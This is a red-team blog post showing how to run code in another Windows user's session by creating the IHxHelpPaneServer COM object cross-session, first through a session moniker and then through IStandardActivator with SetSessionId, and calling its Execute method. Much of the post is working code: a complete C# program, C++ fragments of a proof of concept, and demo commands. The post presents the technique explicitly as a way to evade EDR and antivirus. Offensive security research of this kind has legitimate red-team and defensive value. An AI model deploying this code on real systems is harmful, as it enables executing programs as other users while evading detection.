Process Injection is Dead. Long Live IHxHelpPaneServer

CICADA8
7 min readJul 15, 2024

--

Intro

Hello everybody, My name is Michael Zhmailo and I am a penetration testing expert in the MTS Innovation Center CICADA8 team.

During Red Team projects, attackers use the process injection mechanism to gain the ability to execute code in the context of another user. However, processes injection techniques has long been detected by most defense tooling. In addition, Windows Kernel provides built-in methods to simplify detection.

Therefore, it is required to find a way to execute the code in the context of another user without facing the need to inject in the process. And there is such an opportunity! The mechanism I will discuss in the article is called cross-session activation.

Cross-Session Activation

Users logged in to Windows get a session. Each session is identified by a Session ID. You can view the list of sessions on your computer as follows:

# local machine
quser

# on other server
quser /server:dc01.office.corp

You can also use NetSessionEnum(), NetWkstaUserEnum(). You can read more from SpecterOps article. The cross-session activation mechanism allows you to create COM objects in another user’s session.

The algorithm is simple:
1. There are server and client sessions
2. Client session is the session from which the request to create a COM object will be received
3. Server session is the session within which this object will be created
4. If the client can create a COM object in another session, then by calling methods of this COM object, the client will be able to execute code in someone else’s session

However, there are some limitations.

  1. The COM object must be configured to run as The Interactive User.
  2. There must be a session on the computer that we want to get. Terminal servers are excellent
  3. The COM class must provide methods that can be abused to execute commands and/or files

I note that the third limitation is optional. Since if you have the first two, you can capture authentication via RemotePotato0 with the -s argument, or RemoteKrbRelay with -session.

A long time ago, the EOP COM Session Moniker exploit was released. It was based on the Session Moniker mechanism to execute code in any session. However, this exploit no longer works, the following protection has been added:

if ( imp_token_il >= process_token_il 
&& (imp_token_il >= SECURITY_MANDATORY_HIGH_RID
|| EqualSid(process_token_user, imp_token_user)))
{
ShellExecuteW(NULL, L"open", path, NULL, NULL, SW_SHOW);
}

Now, to execute code in any session, you need a privileged account, such as a local administrator. Moreover, using monikers (in particular Marshal.BindToMoniker() or IMoniker.BindToObject(). When was the last time you used monikers? :) ) can be a red flag for EDR, so you need to find an alternative.

As a COM object for testing I propose to take an object that implements the IHxHelpPaneServer interface, it was discovered by James Forshaw in 2016. This interface is useful because it provides an Execute method that allows arbitrary files to be executed on the system. Accordingly, by calling this method from another session, we can execute files on behalf of another user.

The simplest variant of code execution using this interface may look like this.

using System;
using System.Runtime.InteropServices;

namespace IHxHelpPaneServer
{
static class Program
{
static void Main()
{
var path = "file:///C:/Windows/System32/calc.exe";
var session = System.Diagnostics.Process.GetCurrentProcess();
Server.execute(session.SessionId.ToString(), path); // u can change session id here
}
}

static class Server
{
[ComImport, Guid("8cec592c-07a1-11d9-b15e-000d56bfe6ee"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IHxHelpPaneServer
{
void DisplayTask(string task);
void DisplayContents(string contents);
void DisplaySearchResults(string search);
void Execute([MarshalAs(UnmanagedType.LPWStr)] string file);
}

public static void execute(string new_session_id, string path)
{
try
{
IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id)); // alert alert red flag
Uri target = new Uri(path);
server.Execute(target.AbsoluteUri);
}
catch
{

}
}
}
}

However, once again we see the use of monikers, which is not a good thing. We should step off the beaten path and look toward other built-in mechanisms for cross-session activation.

IStandartActivator + ISpecialSystemProperties

IStandartActivator is a standard COM interface that allows you to create COM objects with various additional options (via ISpecialSystemProperties interface). In particular, using the SetSessionId() method you can control the session in which you want to create a COM object. This interface works great for us and allows us to create an IHxHelpPaneServer in someone else’s session, then call the Execute() method and steal someone else’s session!

It is worth noting that we used this interface in RemoteKrbRelay as well.

So, we just need to write a program that uses this interface to run through the IStandartActivator of the IHxHelpPaneServer COM object and call the Execute() method.

Getting Things Ready

First, we need to initialize the CLSID and IID values to identify the IHxHelpPaneServer object to be created. This is done in the function below via CLSIDFromString().

HRESULT CoInitializeIHxHelpIds(LPGUID Clsid, LPGUID Iid)
{
HRESULT Result = S_OK;

if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec58ae-07a1-11d9-b15e-000d56bfe6ee}", Clsid)))
return Result;

if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec592c-07a1-11d9-b15e-000d56bfe6ee}", Iid)))
return Result;

return Result;
}

Next, we need to get a pointer to the IStandartActivator interface. This can be done through a regular CoCreateInstance(). Don’t forget to call CoInitialize() beforehand.

GUID run = { 0x8cec592c, 0x07a1, 0x11d9, { 0xb1, 0x5e, 0x00, 0x0d, 0x56, 0xbf, 0xe6, 0xee } };
GUID CLSID_ComActivator = { 0x0000033C, 0x0000, 0x0000, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID IID_IStandardActivator = __uuidof(IStandardActivator);
IStandardActivator* pComAct;

hr = CoCreateInstance(CLSID_ComActivator, NULL, CLSCTX_INPROC_SERVER, IID_IStandardActivator, (void**)&pComAct);
if (FAILED(hr))
{
std::wcout << L"[-] Cant get IStandartActivator" << std::endl;
return Win32FromHResult(hr);
}

Having obtained the IStandartActivator interface, we need to extract the ISpecialSystemProperties from it. This can be done using the QueryInterface() method. This method allows you to get a different interface, which is implemented in the same COM object as the current interface.

ISpecialSystemProperties* pSpecialProperties;
hr = pComAct->QueryInterface(IID_ISpecialSystemProperties, (void**)&pSpecialProperties);
if (FAILED(hr))
{
std::wcout << L"[-] Cant get ISpecialSystemProperties" << std::endl;
return Win32FromHResult(hr);
}

Finally, using the ISpecialSystemProperties interface, you can call the SetSessionId() method to set the target session.

pSpecialProperties->SetSessionId(session, 0, 1);
if (FAILED(hr))
{
std::wcout << L"[-] Cant set session ID" << std::endl;
return Win32FromHResult(hr);
}

However, if you then call the normal CoCreateInstance(), the COM object will be created in the current session. To create a COM object in another session you need to call the creation methods from IStandartActivator. We don’t need OBJREF or File, so we call StandartCreateInstance(), which is an implementation of CoCreateInstanceEx().

std::wcout << L"[*] Spawning COM object in the session:" << session << std::endl;

MULTI_QI qis[1];
qis[0].pIID = &run; // IID IHxHelpPaneServer
qis[0].pItf = NULL;
qis[0].hr = 0;

hr = pComAct->StandardCreateInstance(CLSID_IHxHelpPaneServer, NULL, CLSCTX_ALL, NULL, 1, qis);

if (FAILED(hr))
{
std::wcout << L"[-] CoCreateInstanceFailed()" << std::endl;
return Win32FromHResult(hr);
}

IHxHelpPaneServer* pIHxHelpPaneServer = NULL;
pIHxHelpPaneServer = static_cast<IHxHelpPaneServer*>(qis[0].pItf);

Finally, once the COM object has been successfully created, you can call the Execute() method and cause the file to be executed in another user’s session.

std::wcout << L"[+] Executing binary: " << pcUrl << std::endl;
hr = pIHxHelpPaneServer->Execute(pcUrl);
if (FAILED(hr))
{
std::wcout << L"[-] pIHxHelpPaneServer->Execute() failed" << std::endl;
return Win32FromHResult(hr);
}

DEMO

So, I’ve written a minimal POC. Let’s check it out. I’ve two session on my laptop:

Let’s check the launch in the current session.

.\IHxExec.exe -s 1 -c C:/Windows/SYSTEM32/CALC.EXE

Success! And another session:

.\IHxExec.exe -s 2 -c C:/Windows/SYSTEM32/CALC.EXE

That’s great! We can run the code in the context of another user, without using Process Injection

Conclusion

Not very well documented Windows functionality sometimes provides us with interesting features that can be used on complex RedTeam projects, including antivirus bypass. I’ve released the POC on Github. Thanks for reading my articles :)

P.S. What about PsSetCreateProcessNotifyRoutine/PsSetCreateProcessNotifyRoutineEx/PsSetCreateProcessNotifyRoutineEx2?

It would be logical to wonder how the antivirus would react to the fact that the process is being started at the request from another session. It should be noted here that the process in the other session is not launched directly by us, but by the RPCSS (System Activator) service. Check out James Forshaw’s report, “COM In Sixty Seconds.”

--

--

CICADA8

CICADA8 is a vulnerability management service with real-time cyber threat tracking capabilities. https://futurecrew.tech/cicada8